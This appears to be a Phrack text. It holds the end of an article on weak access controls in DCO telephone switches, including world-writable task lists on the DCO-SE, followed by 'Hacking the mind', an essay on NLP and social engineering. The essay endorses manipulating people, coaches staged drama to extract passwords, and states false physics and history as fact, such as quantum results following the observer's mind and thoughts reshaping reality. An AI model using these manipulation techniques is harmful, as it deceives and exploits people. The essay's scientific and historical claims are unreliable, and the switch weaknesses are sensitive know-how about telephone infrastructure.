|
|
under legislation such as CALEA. Within the $ADMIN utility, an option "LAW"
|
|
exists to this end as seen above:
|
|
|
|
ADM> GROUP (GROUP=HG) > LAW
|
|
It is illegal to access Lawful Access surveillance information
|
|
without the knowledge and expressed permission of the telephone
|
|
operating company controlling this telecommunications facility.
|
|
Further, it is illegal to establish any surveillance activity
|
|
without receipt of a court order issued by a federal, state or
|
|
local court having jurisdiction to permit telecommunications
|
|
surveillance activity. Violation of these warnings will subject
|
|
the perpetrator to all of the penalties and consequences
|
|
allowable under such controlling laws.
|
|
|
|
ADM> LATYPE (LATYPE=HELP) >
|
|
|
|
CDC - CDC
|
|
FSK - FSK MODEM
|
|
OPTIONS - OPTIONS
|
|
RECEIVER - RECEIVER
|
|
SURVEILLANCE - SURVEILLANCE
|
|
|
|
Invoking LAW will display a banner as seen above with the necessary legal
|
|
warnings of accessing surveillance information. This banner is seemingly
|
|
intended for observation by law enforcement, rather than other potential
|
|
unauthorized users of the switch. LAW has access rights to files/utilities
|
|
over which all groups have some degree of access.
|
|
|
|
NOVICE-Perhaps intended for use by technicians in training or employees
|
|
untrained in DCO operation as the name suggests, NOVICE only has access to
|
|
utilities and files to which all account groups have access, and its access
|
|
rights are always the lowest for a particular file or utility. For example,
|
|
on files such as EA24HD, EA30MD, and EA60MD to which all other account
|
|
groups have at least read and execute permissions, both NOVICE and LAW have
|
|
only execute permission.
|
|
|
|
One gaping vulnerability present in the DCO-SE (equipped with the most
|
|
recent software version, released in 2003) is that, unlike on the DCO-CS,
|
|
all account groups have read AND write permissions on the PTL! Any account
|
|
may thus directly write to the PTL, redefining access rights for files,
|
|
etc. On the DCO-CS, release OCC150, as stated previously, only SCAT has
|
|
write permission/access.
|
|
|
|
|
|
Utilities Diagram
|
|
|
|
|
|
Notes: Although every utility technically has some degree of influence on
|
|
the network, certain utilities serve strictly on-switch functions (and thus
|
|
exert an indirect influence over the PSTN) and others network functions
|
|
(and thus exert a more direct influence over the PSTN). There exists, of
|
|
course, no such utility as a "strictly off-switch program", but, as said,
|
|
there are varying degrees of network vs. switch influence. Naturally
|
|
utilities concerned with the operation of switch hardware (such as the
|
|
disk, processors, etc.) are classified as "intra-switch", whereas
|
|
SS7-related programs, line and trunk utilities, etc. are classified as
|
|
"extra-switch". This three-layered conception of DCO utilities is rather
|
|
useful in determining the nature of account groups and purposes. This
|
|
diagram is by no means intended to be inclusive of all or even most
|
|
utilities-rather, it encompasses a small sampling of the utilities that
|
|
best epitomize the three categories. Described differently, extra-switch
|
|
utilities are closest to the network and intra-switch utilities are
|
|
furthest from it.
|
|
|
|
|
|
+------------------------------------------+
|
|
Extra-Switch Utilities
|
|
|
|
$ABNUTL, $CODE, $HOTLIN,$INWANI, $INWATS,
|
|
$NITSWC, $RGU, $ROTL, $ROUTE, $RTOPT,
|
|
$RTR, $SCTST,$TRACE, $TSEP, etc.
|
|
|
|
|
|
|
|
+------------------------------------------+
|
|
Intra/Extra-Switch Utilities "Bridge"
|
|
|
|
$CONUTL, $CSADM, $EQCHEK, $FLXANI, $MANUAL,
|
|
$PABX, $PCOS, $RNSAMA, $RTEST, $SELNUM
|
|
$SERV, $SPCALL,$TFM, $TKTHRS, $TMAD,
|
|
$TTU, etc.
|
|
|
|
|
|
|
|
+------------------------------------------+
|
|
Intra-Switch Utilities
|
|
|
|
$ACTUTL, $AMOPT, $AMPUTL, $BUFDMP, $CBUG,
|
|
$CHKUTL, $DEBUG, $DMPUTL, $DUMPER, $EDIT,
|
|
$FILSYS, $FPBUG, $GBUG, $HSTUTL, $INSTAL,
|
|
$ISUUTL, $MEMCHK,$PASSWM, $PATCH, $REMOVE,
|
|
$SECTTY $STATE, $STATUS, $TIME, $UPACK,
|
|
$UPDATE, $VCHECK,$XFER, etc.
|
|
|
|
+------------------------------------------+
|
|
|
|
|
|
Recommendations for Security-
|
|
|
|
In light of the above information regarding the near-absolute absence of
|
|
preventative security measures inherent in the design of the DCO, it may
|
|
seem a comically futile undertaking to recommend measures to the end of
|
|
effective DCO-CS securement. Let it not be forgotten, though, that
|
|
throughout the spirited and relished elucidation of the flaws in access
|
|
security, a number of metaphorical "hurdles" or configurations proving
|
|
through some often diminutive manner slightly problematic for those whose
|
|
objective it is to access the switch are discussed. It follows logically,
|
|
then, that the exaggeration of those in discretional configuration to as
|
|
great a degree as is practically possible is desirable for the maximum
|
|
security that one may extract/derive from the limited faculties of the DCO
|
|
dedicated thereto. When discussing dialup security, alas, it seems best to
|
|
simply disallow dialup access to the switch in order to prevent any form of
|
|
remote unauthorized intrusion. Yet, as the author is keenly aware, this
|
|
effective albeit extreme configuration/measure is not always practical and
|
|
efficient to implement, in which case, one is advised to affix to the
|
|
dial-in line(s) dedicated to the purpose a callback security device, add an
|
|
additional layer of password security, etc.; while exploitable flaws
|
|
certainly exist in these shields, they at least may provide a sufficiently
|
|
strong barrier as to discourage all but the most determined of unauthorized
|
|
users. In all instances, regardless of the configuration of the dial-in
|
|
port/lines, one is obviously and finally advised to mandate the use of the
|
|
strongest passwords possible, and to review and monitor diligently the
|
|
logs, the trails generated by the actions of users. It is simply laughable
|
|
that systems exist, on the PSTN and elsewhere, which exhibit a tremendous
|
|
amount of security and yet so little significance in comparison to the
|
|
switches, the machines analogous in magnitude of purpose and nature to the
|
|
vertebrae of the giant network that, despite recent efforts to migrate
|
|
rapidly from it, continues to connect and maintain a continuous stream of
|
|
interconnected communications that links the U.S. and the greater segment
|
|
of the globe to this day.
|
|
|
|
|
|
Acronym Glossary-
|
|
|
|
DCO-CS-Digital Central Office Carrier Switch
|
|
PSTN-Public Switched Telephone Network
|
|
LEC-Local Exchange Carrier
|
|
EWSD-Elektronisches Wahlsystem Digital/Electronic World Switch Digital
|
|
CLEC-Competitive Local Exchange Carrier
|
|
MMI-Man-Machine Interface
|
|
DCO-SE-Digital Central Office Small Exchange
|
|
RLS-Remote Line Switch
|
|
5ESS-#5 Electronic Switching System
|
|
TMRS-Traffic Measurement and Recording System
|
|
SCAT-Stromberg-Carlson Assistance Team
|
|
(IN)WATS-(Inward) Wide Area Telephone Service
|
|
ETAS-Emergency Technical Assistance
|
|
NAC-Network Access Control
|
|
ESP(F)-Essential Services Protection (Feature?)
|
|
MP-Maintenance Processor
|
|
SCC-Switching Control Center
|
|
PTL-Prioritized Task List
|
|
VoIP-Voice over Internet Protocol
|
|
LATA-Local Access and Transport Area
|
|
CALEA-Communications Assistance for Law Enforcement Act
|
|
SS7-Signalling System #7
|
|
|
|
Acknowledgements/Shoutouts-
|
|
|
|
To ThoughtPhreaker, for his patient assistance in verifying the validity of
|
|
many of the general observations within these notes and his vulnerability
|
|
contributions, in addition to his extensive contributions to the DCO-SE
|
|
section, rev, Andrew, whitehorse, radio_phreak, bomberman2525 (if he still
|
|
wishes to be known by that handle), and the authors of the original DCO
|
|
articles, for their giddy, minimal diatribes did provide a foundation,
|
|
however full of gaps, for me to expound upon. As usual, acknowledgements
|
|
are given to anyone not explicitly mentioned who has assisted me in my
|
|
quest for H/P knowledge and to anyone who agrees with my concept of the
|
|
H/P subculture and sympathizes with my efforts to improve it. Feel free to
|
|
contact me at my email address: philosopher2600@gmail.com with any
|
|
inquiries or comments (factual corrections welcome) regarding this article.
|
|
|
|
NYC_NY_2600_DCO 09-06-16 00:26:00 LOGOFF TT01
|
|
MP .0354:TTY=TT1,USERNAME=THE_PHILOSOPHER LOGGED OFF
|
|
|
|
---[ EOF
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x0f of 0x10
|
|
|
|
|=-------------------------------------------------------------------------------=|
|
|
|=-----------------=[ Hacking the mind for fun and profit ]=---------------------=|
|
|
|=-------------------------------------------------------------------------------=|
|
|
|=------------------------=[ by lvxferis@gmail.com ]=----------------------------=|
|
|
|=-------------------------------------------------------------------------------=|
|
|
|
|
|
|
--[ Contents
|
|
|
|
1 - Introduction
|
|
|
|
2 - How does the human conscious function
|
|
2.1 - Decisional pattern programming
|
|
2.2 - Role Model programming (behavioral mimetism from trusted sources)
|
|
|
|
3 - Neuro-linguistic programming (NLP)
|
|
|
|
4 - Why does NLP function?
|
|
|
|
5 - What is reality - "What is above is what is beneath"
|
|
|
|
6 - Human thoughts affecting reality
|
|
|
|
7 - How to create a hostile reality?
|
|
|
|
8 - The chains remain
|
|
|
|
9 - Greetz
|
|
|
|
|
|
--[ 1 - Introduction
|
|
|
|
Oh no, not another "hacking your brain" article, please! I don't
|
|
even want to know what is really going on with my mind, I love to
|
|
be fed with the bullshit I get every day because I'm an ignorant
|
|
bastard -- if you think this, then stop reading NOW because I don't
|
|
even intent to have you people as an audience. Instead, I am
|
|
addressing to those who have noticed the "glitches", the anomalies
|
|
in the "matrix"; those who became hackers not because "computers
|
|
are cool now" but because of their ancestral eager of knowledge and
|
|
keen on spotting things that are not natural to their environment.
|
|
|
|
|
|
--[ 2 - How does the human conscious function
|
|
|
|
Human mind is a self-programming bio-computer -- i'm not the first
|
|
one to say this. Human mind is programming itself consciously by
|
|
by applying a decisional pattern, by following a model or a combination
|
|
of both.
|
|
|
|
|
|
-----[ 2.1 - Decisional pattern programming
|
|
|
|
Remember when you were a little baby and felt attracted to that
|
|
flame and actually touched it. It burnt you so bad and the pain was
|
|
so intense that you never played with fire again! ;) Pain is the
|
|
method our spiritual mind uses to teach itself about the environment
|
|
it deals with. Decisional pattern programming is based on rational
|
|
analysis of facts correlated to past experiences, as similar as
|
|
possible to the new experience encountered, and all this
|
|
corroborated with the intensity of pain. Pain is nothing more but
|
|
electrical signals sent by your neural system to your brain, which
|
|
your spiritual mind interprets as a high disconfort, telling that
|
|
the environment is reacting against your body. But some people
|
|
apparently tolerate pain more than others; no, that's not true. We
|
|
all feel the pain the same, it's just we can educate our spiritual
|
|
mind to ignore the pain.
|
|
|
|
|
|
-----[ 2.2 - Role Model programming (behavioral mimetism from trusted sources)
|
|
|
|
Ever since we are little children, we have role models to follow in
|
|
society. They can be historical figures, philosophers, favourite
|
|
hiphop star, people everybody knows and that, one way or the other,
|
|
made it into this society, or simply, your mother or father, bigger
|
|
brother, one of your friends, your menthor, etc. They all share one
|
|
common feature: they posses a quality you would like to grow in you
|
|
or they are an important part of your life. Think about it, how many
|
|
times didn't you think about disappointing someone you care about if
|
|
you do something you really want. How many of you still did that
|
|
thing? By confronting our spiritual (rational) mind with the
|
|
impressions and oppinions of our role models, minute by minute we
|
|
become more like our role models, becoming what we decided we should
|
|
be like.
|
|
|
|
To understand how your mind works, start seeing your ordinary life as
|
|
a serie of events. The events fall into one of the following
|
|
categories:
|
|
|
|
- new events
|
|
- new events similar to old events
|
|
- old events
|
|
|
|
When dealing with an event, your mind starts an analysis of the
|
|
event, and searches the "archive" for an identical event. If none is
|
|
found, your mind searches the "archive" for a similar event and
|
|
tries to determine if past decisions and conditions would be fit in the
|
|
current conditions. The new and similar events are the ones
|
|
generating experience, by forcing your spiritual mind to make
|
|
decisions to adapt as good as possible to the given environment. But
|
|
everyone's decision depends a lot on previous experience. The added
|
|
experience improves your rational thinking and gives you a higher
|
|
perspective over events, under a new superior logic. Each category
|
|
of events has assigned a process that deals with it. For instance,
|
|
if your car breaks down, you would see the problem more accurately
|
|
if you are a car mechanic than if you are a doctor. The car mechanic
|
|
posses more technical informations about cars (therefore, superior
|
|
logic of things) than a doctor or a florist, for instance. By the
|
|
other hand, if your body breaks down, being a doctor will help you
|
|
determine what went wrong and what needs to be done to eliminate
|
|
this situation rather than being a car mechanic.
|
|
|
|
The process of learning is a never ending process in your mind; it
|
|
takes at least as long as you're exposed to new events. But it takes
|
|
in three stages: the conscious and willing part, the reinforcement
|
|
part and the "background" part.
|
|
|
|
The conscious and willing process is the one interacting the most with the
|
|
decisional process. It's when you see some behavior or moral virtue
|
|
or something to that extent that you like and you'd actually want to
|
|
grow that in you -- for instance you want to be a greater whitehat
|
|
than spender, because you see the whitehats as being the good guys
|
|
and you've been taught that good guys are good. To do that, you see
|
|
what got spender where he is and start to "walk" a similar path.
|
|
|
|
This is where the reinforcement stage gets into place -- you already
|
|
decided that you want it, and you force yourself to take the steps
|
|
needed. You get aquinted to the Linux Kernel, find bugs, expose them
|
|
on full-disclosure, look for fights with kernel dev, etc. The
|
|
conscious interaction will help you get status of yourself: "am i
|
|
spender enough to do this?" or "what would spender do"; in the same
|
|
time it will correct behavioral flaws that might prevent you from
|
|
succeeding. After a while, the conscious interaction tends to diminish,
|
|
becoming less and less necessary. This is where stage three comes into
|
|
place.
|
|
|
|
The "background" stage is where the actual process needs no longer
|
|
interaction with the conscious mind, being perfectly adapted to
|
|
serve similar events. To continue our metaphore, at this point you
|
|
get fat dollars from sponsorships, you're being a dick to your friends,
|
|
and publish vulnerabilities you found in Linux Kernel. And all this
|
|
is normal, and you don't understand why people throwing fingers at
|
|
you. You're doing the "right" thing..
|
|
|
|
When dealing with a new event, your mind will try to categorize that
|
|
event and try to place it under one of the known events categories.
|
|
Each category of events has assigned a process; a neural process is
|
|
very similar to an AI neural network path. The processes for known
|
|
events give you the daily routine, when you don't even think about
|
|
doing something, you just do it, automatically. Therefore, PROCESSES
|
|
IN "BACKGROUND STAGE" (SERVING KNOWN PATTERNS) DO NOT REQUIRE RATIONAL
|
|
(CONSCIOUS) MIND SCRUTINY!!! This makes them as a primary target for
|
|
those trying to manipulate you.
|
|
|
|
|
|
--[ 3 - Neuro-linguistic programming (NLP)
|
|
|
|
According to Wikipedia, Neuro-Linguistic Programming (NLP) is a
|
|
controversial approach to psychotherapy and organizational change based on
|
|
"a model of interpersonal communication chiefly concerned with the
|
|
relationship between successful patterns of behaviour and the subjective
|
|
experiences (esp. patterns of thought) underlying them" and "a system of
|
|
alternative therapy based on this which seeks to educate people in
|
|
self-awareness and effective communication, and to change their patterns
|
|
of mental and emotional behaviour". NLP denotes belief in a connection
|
|
between neurological processes ('neuro'), language ('linguistic') and
|
|
behavioral patterns that have been learned through experience
|
|
('programming'). The "subjective experiences" are what we called neural
|
|
processes dealing with events.
|
|
|
|
|
|
--[ 4 - Why does NLP function?
|
|
|
|
In other words, NLP says that we programmed ourselves to react in a
|
|
certain way when exposed to certain events. To a hacker, this looks
|
|
as good as a remote kernel vulnerability with great chances of
|
|
exploitation. This means that we can trigger a certain reaction or
|
|
response from someone if we know the conditions (event) that would
|
|
normally lead that person to that reaction. Hey, wait.. Is this really
|
|
about controlling your peers??? Yes, someone can use NLP to take
|
|
advantage of "free mind", by simply tricking the mind into seeing false
|
|
conditions that would lead it to take a decision according to those
|
|
false conditions.
|
|
|
|
A common feature of all contemporary societies is the "guilt
|
|
syndrome". This arose from the "original sin" trick: you're a mere
|
|
mortal, who deserves to be hurt because a very long time ago, some
|
|
retard ate an apple. This "guilt syndrome" is a very dangerous trap
|
|
because it makes human beings prone to NLP, as they want to "pay the
|
|
dues" for their "sins". But .. wait .. what if there is no sin? You
|
|
mean.. I could make someone feel guilty of something he never did
|
|
just to make that person please me whenever I want? Yep.. that's
|
|
exactly WHY neuro-linguistic programming works in every case: human
|
|
beings don't want to look bad in the eyes of their peers, and most
|
|
important to those who are our models and/or mean something important
|
|
to us.
|
|
|
|
"Mommy is feeling very sick today, but I'm sure that if you will
|
|
bring good grades from school I will be feeling better, son" -- this
|
|
is one classical example of how NLP functions. The "Mom" in our case
|
|
study is faking an illness to make her son study harder at school
|
|
and bring a good grade. In the "son's" mind, he will start feeling
|
|
guilty for his mother's illness, therefore he will force himself to
|
|
get a good grade, one way or another. In this example, NLP is not
|
|
doing bad to "son" as improving his grades is a good thing. But in
|
|
the same time, he didn't do what he wanted, instead he did what
|
|
someone else tricked him into doing.
|
|
|
|
Another example, one begger walks to your car window. She's an old
|
|
woman, with kind, warm eyes. She comes shyly and whispering, asks
|
|
you to give her money for medicines and food. You will give her
|
|
money because she looks a lot like your grandmother who you loved a
|
|
lot. And you want to help a less fortunate human-being. But, that
|
|
begger, after "work hours" is maybe richer than you because it took
|
|
advantage of the "grandmother figure" look. Most of the people have
|
|
a grandmother who raised them, took care of them when their parents
|
|
weren't around, and quite possibly have passed away. To honor her
|
|
memory, you relate to the "less fortunate grand mother" begging at
|
|
your car window, and you want to be of any help. Your good
|
|
intentions land you right in the "granny's" trap, just like a
|
|
carnivorous plant eats an insect.
|
|
|
|
These were only three examples how NLP works in day-to-day life, but
|
|
to someone aquinted to these techniques, the examples are endless.
|
|
Someone aware of NLP and how things work is controlling everybody
|
|
around them to obtain a certain result. Is it wrong to take
|
|
advantage of someone else's ignorance? Is it wrong to exploit a
|
|
vulnerability to a system if no one is able to catch you? Perhaps,
|
|
but I don't give a fuck.
|
|
|
|
|
|
--[ 5 - What is reality - "What is above is what is beneath"
|
|
|
|
Words of Hermes seem cryptic to most of you looking at the sky and
|
|
seeing no similarity to earth. What Hermes actually meant was that
|
|
our Universe is a fractal; if you zoom on a fractal, you will notice
|
|
that the image you get is very similar to the initial image. This
|
|
means that the same Laws that built the fractal on the detail scale,
|
|
also built the fractal on the large scale.
|
|
|
|
Let's take a trip to the atom world. The diversity of chemical
|
|
elements present in our Universe is merely given by the number of
|
|
electrons orbitting each element's atom (and ofcourse, protons and
|
|
neutrons and other sub-atomic particles but that's beyond the scope
|
|
of this article). So.. what makes an element have more electrons
|
|
than another? The answer is simple, it's the electromagnetical
|
|
forces. Quantum mechanics identified 4 types of electromagnetical
|
|
forces: 2 strong and 2 weaker, resulting from a combination of first
|
|
two. But all these forces together create a quadripolar magnet. This
|
|
quadripolar magnet is the "blueprint" our world is made on. Each
|
|
element in the Mendeleev table has a unique combination of these 4
|
|
forces, this giving it's unicity.
|
|
|
|
So, you mean that our Universe is nothing but electromagnetical
|
|
forces combined at different layers, in different combinations and
|
|
amounts? Yes, exactly. Without electro-magnetism our Universe would
|
|
be an uniform mass of initial matter particles. This is what Einstein
|
|
theorized when he said about the 4th form of aggregation of matter,
|
|
at absolute zero (e.g. the absolute absence of electro-magnetism,
|
|
because heat is nothing but the result of the interaction between
|
|
electricity and magnetism).
|
|
|
|
This also means that, if you can determine the exact amount and
|
|
combination of electro-magnetical forces present in a certain
|
|
element's atomic structure, and replicate that exact combination and
|
|
amount to another element's atomic structure you would be able to
|
|
transform the second element into the first one, down to the
|
|
grittiest detail.
|
|
|
|
Remember the alchemists trying to make gold from dust? ;)
|
|
|
|
|
|
--[ 6 - Human thoughts affecting reality
|
|
|
|
"False words are not only evil in themselves, but they infect the
|
|
soul with evil."
|
|
-- Socrates
|
|
|
|
|
|
There is a huge number of cases when Initiates affected the world
|
|
around them and people were too amazed to understand the miracle.
|
|
Look at the fakhir's in India, or the buddhist monks of Tibet. There
|
|
are documented cases when yoga masters managed to purify water by
|
|
the power of meditation. So, how is this happening? Continue
|
|
reading..
|
|
|
|
Quantum mechanics brought to light a very interresting fact. The quantum
|
|
mechanics experiments are not consistent in time and over
|
|
researchers. It would appear that the observer's mind highly affects
|
|
the result of the experiment. It got to a point where, if the
|
|
scientist thinks his experiment will end up one way, then most
|
|
definetely, the experiment will. But as soon as another scientist
|
|
comes into place, with a different mind set and with less faith in
|
|
the success of the experiment, the experiment will give another
|
|
result. Therefore, scientists concluded that quantum mechanics
|
|
experiments are rarely conclusive.
|
|
|
|
Early twentieth-century experiments on the physics of very small-scale
|
|
phenomena led to the discovery of phenomena that could not be predicted
|
|
on the basis of classical physics, and to new models (theories) that
|
|
described and predicted very accurately those micro-scale phenomena so
|
|
recently discovered. These models of the real world being observed at
|
|
this micro scale, could not easily be reconciled with the way objects are
|
|
observed to behave on the macro scale of everyday life. The predictions
|
|
they offered often appeared counter-intuitive to observers. Indeed, they
|
|
touched off much consternation--even in the minds of their discoverers. The
|
|
Copenhagen interpretation consists of attempts to explain the experiments
|
|
and their mathematical formulations.
|
|
|
|
We like to think of our brain as a massive data storage for all the
|
|
experiences we had since our childhood, but is it?! There is no
|
|
actual evidence that data is stored in our brain, the only hard
|
|
evidence existing now is that our brains emit "waves".Our brain is
|
|
nothing but a big antenna, receiving/emitting electro-magnetical energy,
|
|
as waves. There are more types of brain waves, some are easy to measure
|
|
with instruments, most of them aren't. Our brains are nothing but
|
|
wide open wireless access points, emitting signal everywhere around
|
|
us and receiving signals from our environment. Err.. wait..
|
|
electro-magnetical brain waves??? WTF man.. But you said our
|
|
Universe is based on electro-magnetism.. If humans can emit
|
|
electro-magnetical energy this means that.. they can actually affect
|
|
reality? Yes, they do. But not all antennas have same signal
|
|
strength: some have stronger signal, some lesser. But all of them
|
|
modify reality according to what they think of reality; some modify
|
|
reality in a substantial way, that is actually noticeable and some
|
|
others, in a less perceptible way. But EVERY SPIRITUAL MIND (let it
|
|
be human, animal, floral or mineral) AFFECTS REALITY ACCORDING TO
|
|
WHAT THEY KNOW ABOUT REALITY AND WHAT THEY THINK REALITY SHOULD BE
|
|
LIKE. If you create an image in your mind, and believe in it
|
|
strongly and with passion, you will actually make it happen. No,
|
|
it's not esoteric stuff, it's very day-to-day stuff -- you don't say
|
|
any magic spell, you just figure out a way to make that image come
|
|
true. If you REALLY want something and WORK hard so that you DESERVE
|
|
that certain something, there are GREAT chances that the Universe
|
|
will grant you that something.
|
|
|
|
Well, things aren't that easy, really, but simplified, that's how it
|
|
is. Perhaps, at some other time, maybe next Hacking Your Brain, I
|
|
will explain you how to make your wishes come true, and how those
|
|
wishes should look like so that they have greater chances of
|
|
happening.
|
|
|
|
YOU ARE THE CENTER OF YOUR OWN UNIVERSE. YOU ARE THE MASTERS OF YOUR
|
|
OWN UNIVERSE. BE TO YOUR OWN UNIVERSE WHAT GOD IS TO THE WHOLE
|
|
UNIVERSE AND TRY TO BE AS MUCH AS GOD AS YOU CAN. Oh, and one more
|
|
thing, if you think God is an old man with beard, then you're a
|
|
moron. I don't care how you call it, the God I speak of is beyond
|
|
any religion, being the MIND THAT CREATED THE PERFECTIONIST SYSTEM
|
|
WE CALL LIFE.
|
|
|
|
|
|
7. How to create a hostile reality?
|
|
|
|
Well, who would create something that would hurt himself, you might
|
|
say. But, crazily enough, people actually do it without even being
|
|
aware of it. I will give you an extreme example, bare with it, but
|
|
it should give you an insight on how humans can be tricked into
|
|
doing bad to themselves.
|
|
|
|
Let's take a hypothetical case. Let's a consider a very esteemed
|
|
group of scientists whose research concluded that a small spoon of
|
|
crushed glass poured in your food will keep illness away. Ofcourse,
|
|
now you will say "hey everybody knows crushed glass will hurt you"
|
|
but let's assume you don't know that and, there will be a LOT of
|
|
people TRUSTING the scientist group enough to actually pour crushed
|
|
glass pieces into food. This will give you a VERY BAD STOMACHAL
|
|
problem but you would not dare to think that the scientists you
|
|
trust so much could be wrong. So you will think your stomachal pains
|
|
are of a different nature, or worse, you will think that the pain
|
|
comes from the crushed glass fighting the illness. So you will take
|
|
MORE crushed glass to make sure the illness is defeated for good.
|
|
|
|
Have you guys seen "Idiocracy"? It's a great movie -- and I took
|
|
this example from the movie. Our hero, Joe, is a semi-retarded
|
|
military who, by chance, makes a trip 500 years into the future
|
|
when he discovers that the crops are watered with a Gatorade-like
|
|
sports drink named "Brawndo", he finds himself knowledgeable enough
|
|
to correct the problem. The narrator comments that "Brawndo has
|
|
replaced water virtually every where" and that Brawndo purchased the
|
|
FDA and FCC. In response to the plan to correct the problem,
|
|
White House cabinet members continuously repeated the Brawndo tag line,
|
|
"Brawndo's got what plants crave. It's got electrolytes." Yet, no one
|
|
had a clue what electrolytes are. They just knew what they've been told.
|
|
This is a very good illustrated example of how people are most of the
|
|
times too trusting and ignorant for their own good. Ofcourse Brawndo
|
|
was bad for the crops, because the plants need water, not artificial
|
|
flavor -- but that artificial flavor beverage was keeping half the
|
|
country employed.
|
|
|
|
By following what trusted sources tell us is good without questioning
|
|
and thinking for ourselves, we become slaves of our own ignorance.
|
|
Ever since we are little, we rely on others to tell us what's good
|
|
or bad for us. First, there were the parents & family; later, our
|
|
trusted sources circle gets larger, including our friends and
|
|
colleagues. When we grow up, we also consider mass-media, internet
|
|
and press as trusted sources, because we are told they are reliable
|
|
sources that will never deceive us. BUT ALL THIS MENTALITY IS BASED
|
|
ON THE GOOD WILL AND INTENTIONS OF THE TRUSTED SOURCE; WHAT IF THE
|
|
TRUSTED SOURCE SLIGHTLY MODIFIES THE INFORMATION SENT TO US (just
|
|
like in NLP case studies), JUST TO TRIGGER A CERTAIN BEHAVIORAL
|
|
PATTERN FROM US?
|
|
|
|
The best example that comes to my mind is that of a imaginary hacker
|
|
character, let's call it The_C0nd0r, who breaks into one of the
|
|
largest telco in the country, without exploiting a single
|
|
vulnerability in the computer systems. You guessed it, it's the case
|
|
of the Master of Social Engineering. To be honest, I learnt about NLP
|
|
when i was studying social engineering. The trick with social
|
|
engineering is to make your peer STRONGLY BELIEVE into a fake reality
|
|
you are feeding him. You just need to make that "reality" as accurate
|
|
as possible so he doesn't realise it's a trick. And this is exactly
|
|
when NLP steps into place. First of all, you need to adopt a similar
|
|
posture to your target (not physical necessarily). For instance, if
|
|
you're targetting an employee, act as an employee who is in big trouble,
|
|
make him to be a part of your "drama". When people are confronted to
|
|
dramatic situations happening to others they usually think "oh, fuck this
|
|
could happen to me aswell" and they will give you that password.
|
|
|
|
I will give you an example again. Let's say, your best friend got
|
|
into a fight with another friend of yours. You trust your best
|
|
friend when he tells you that the other friend said bad words about
|
|
you, and he stood up to take your side. But, what if the things were
|
|
opposite? What if your best friend was the one saying bad things
|
|
about you and the other friend said he should stop talking of you
|
|
when you are not around? Your "natural" urge is to ally with your
|
|
best friend and "wage war" against the other friend, because you
|
|
trust a message from a trusted source that someone is doing wrong to
|
|
you.
|
|
|
|
Another example, on a larger scale now. There is a HUGE press
|
|
campaign against alimentary product X, saying that it highly affects
|
|
health, etc. People trust mass-media and, as a result of the
|
|
campaign, they stop using X. The company producing X is experiencing
|
|
big difficulties because their market share diminished a lot. You'll
|
|
say "Good! They were selling stuff affecting people's health, they
|
|
outta be put of business!" and I couldn't agree more. But.. there is
|
|
always a "but". What if there was a competitor for product X called
|
|
product Y. And the PR department of product Y contacted big
|
|
publications and tv networks owners and paid them a shit load of
|
|
money for this campaign. What if product X wouldn't actually be that
|
|
harmful, in fact, being less harmful than product Y? The market
|
|
share of the company producing X will diminish in the advantage of
|
|
the company producing Y. Even if company X publish a study stating
|
|
that their products are not as harmful as claimed, and even less
|
|
harmful than product Y, no one will trust the statement. If trust is
|
|
broken once, it will never reappear or if it does, it does with
|
|
great sacrifice.
|
|
|
|
And another fictionary example now. Let's assume hackers would exist
|
|
and they can hack (unlike kingcope;). Let's continue to assume
|
|
stuff. We also assume that this hacker (fictionary character,
|
|
remember?) is not a good guy working for the Man. Instead he's a
|
|
rebelious youngster (mid 20's) with the unique ability to break into
|
|
any computer system he puts his mind to. This hacker is aproached by
|
|
the owner of company A who is crushed under the competition of
|
|
company B, whose product is far superior and the distribution
|
|
network is by far, the largest. Let's assume the owner of A asks the
|
|
hacker if it would be possible to do something to company B. The
|
|
hacker would go unnoticed and mess with the client database, mix the
|
|
deliveries, steal secret info about the product, etc. In short,
|
|
anything that would give company A a competitive advantage.
|
|
Ofcourse, to the masses this would appear as company B is either
|
|
A) in big trouble, B) doing something nasty behind closed doors or
|
|
C) can't secure their shit right, and by extension can't secure
|
|
customer's trust either. Gosh, we're so lucky hackers only secure
|
|
our networks and iPod's instead of doing things so scary.
|
|
|
|
A real life example, this time, comes from the Middle East. During
|
|
the recent war between Israel and Lebanon, the Hamass posted on the
|
|
Internet images of crippled or killed children, dismembered, etc.
|
|
This ofcourse, had a huge impact on the international community and
|
|
a lot of countries and important people took position and asked
|
|
Israel to stop the war. But after all, it was just a good press
|
|
campaign organised by the Hamass, manipulating the media and the
|
|
society.
|
|
|
|
The point is that by EXPLOITING HUMAN BEING IGNORANCE AND CONFORT IN
|
|
TRUSTING WHAT THEY CONSIDER AS BEING "TRUSTED SOURCES", OR BY FAKING
|
|
A SOURCE MAKING IT LOOK TRUSTWORTHY, YOU CAN TRICK PEOPLE INTO
|
|
ACTING AGAINST THEMSELVES, AND SURPRISINGLY, BE HAPPY ABOUT IT.
|
|
|
|
|
|
-- [ 8 - The chains remain
|
|
|
|
Slavery is long gone, most people think. Just because the chains
|
|
don't ring anymore as we walk, it doesn't mean they disappeared.
|
|
It's just that today chains have been more subtle and harder to
|
|
perceive. The society, through its members, or mass-media, or tv
|
|
networks, books, religion, banking system and it's loans, and so on,
|
|
EVERYTHING is keeping us bonded to these chains we hate so much. By
|
|
telling us how we should behave in certain conditions because that's
|
|
"normal", by feeding us distorted information aimed to harden the
|
|
concept of "normal" and "what we should do", by creating fake needs,
|
|
desires and dreams we become addicted to the society and less aware
|
|
of our real selves.
|
|
|
|
The society is feeding you models, driving expensive cars, living in
|
|
big houses, living the good life, you know. Automatically, in your
|
|
mind you start to want the same (because society taught us that
|
|
second place is for the losers), so you get deeper into it. You
|
|
contract a loan from the bank just to get a bigger house, or a
|
|
faster car. You start to work extra-hours just to impress your boss
|
|
enough to promote you: a promotion would allow you to buy more
|
|
things. You start stealing stuff because you don't see another mean
|
|
of getting the money you WANT. Unknowingly, you become bonded to the
|
|
system, without the possibility of escaping from it. You become a
|
|
slave of your work/bank just to satisfy your NEEDS. But these are
|
|
not real needs, instead it's what your TRUSTED SOURCES told you you
|
|
need.
|
|
|
|
If you want to break loose of the chains holding you down, you need
|
|
to ACCEPT. You need to accept what is happening to you, either it
|
|
being "good" or "bad". The Universe and Its Laws don't think in
|
|
terms of duality, but Unicity. You need to understand that
|
|
EVERYTHING HAPPENING TO YOU IS THE RESULT OF YOUR PREVIOUS ACTIONS
|
|
AND THAT YOU ONLY GOT HERE WHERE YOU ARE AS A RESULT OF YOUR
|
|
CHOICES. You need to understand that TO OBTAIN SOMETHING FIRST YOU
|
|
MUST DESERVE that thing and that there are no shortcuts in life.
|
|
|
